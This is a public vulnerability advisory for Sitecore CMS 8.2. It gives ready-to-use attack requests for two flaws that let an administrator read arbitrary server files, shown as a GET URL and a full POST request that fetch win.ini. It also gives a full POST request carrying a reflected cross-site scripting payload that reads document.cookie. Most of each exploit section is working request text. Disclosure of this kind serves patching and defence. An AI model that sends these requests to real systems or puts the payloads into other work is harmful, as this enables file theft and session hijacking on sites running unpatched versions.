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Exploit title: Sitecore CMS v8.2multiple vulnerabilities Product: Sitecore Version: 8.2, Rev: 161221, Date: 21st December, 2016 Date: 05-05-2017 Author: Usman Saeed Email: usman@xc0re.net <%20usman@xc0re.net> Vendor Homepage: http://www.sitecore.net/ Disclaimer: Everything mentioned below is for educational puposes. The vulnerability details are mentioned as is. I would not be held responsible for any misuse of this information. Summary: Multiple vulnerabilities were found in the Sitecore product.The vulnerabilities include two instances of arbitrary file access and once instance of reflected cosssite scripting. 1: Arbitrary file access: - Description: The vulnerability lies in the tools which can be accessed via the administrator user. The vulnerability exists because there is no bound check for absolute path in the application, that is, if the absolute path is provided to the vulnerable URL, it reads the path and shows the contents of the file requested. - Exploit: 1. Once authenticated as the administrator perform a GET request to the followiung URL: /sitecore/shell/Applications/Layouts/IDE.aspx?fi=c:\windows\win.ini 2. Once authenticated as the administrator perform a POST request to the followiung URL: POST /sitecore/admin/LinqScratchPad.aspx HTTP/1.1 Host: <HOST> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 1463 Referer: <OMITTED> Cookie: <OMITTED> Connection: close Upgrade-Insecure-Requests: 1 __VIEWSTATE= &__VIEWSTATEGENERATOR= &__EVENTVALIDATION=&LinqQuery=%0D%0A&Reference=c%3A%5Cwindows% 5Cwin.ini&Fetch= 2. Reflected Cross-site Scripting: - Description: The application does not sanatize the USER input which allows a normal authenticated user to exploit this vulnerability. - Exploit: POST /sitecore/shell/Applications/Tools/Run HTTP/1.1 Host: <HOST> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer:<OMITTED> Content-Length: 518 Cookie:<OMITTED> &__PARAMETERS=run%3Aok&__EVENTTARGET=&__EVENTARGUMENT=&__SOURCE=&__EVENTTYPE=click&__CONTEXTMENU=&__MODIFIED=1&__ISEVENT=1&__SHIFTKEY=&__CTRLKEY=&__ALTKEY=&__BUTTON=0&__KEYCODE=undefined&__X=1763&__Y=883&__URL=https%3A///sitecore/shell/Applications/Tools/Run&__CSRFTOKEN= &__VIEWSTATE=&__VIEWSTATE=&Program=%3F%3E%3C%3F%3E%3Ciframe%20src%3D%22Javascript%3Aalert( document.cookie)%3B%22%3E%3C%2Fiframe%3E |
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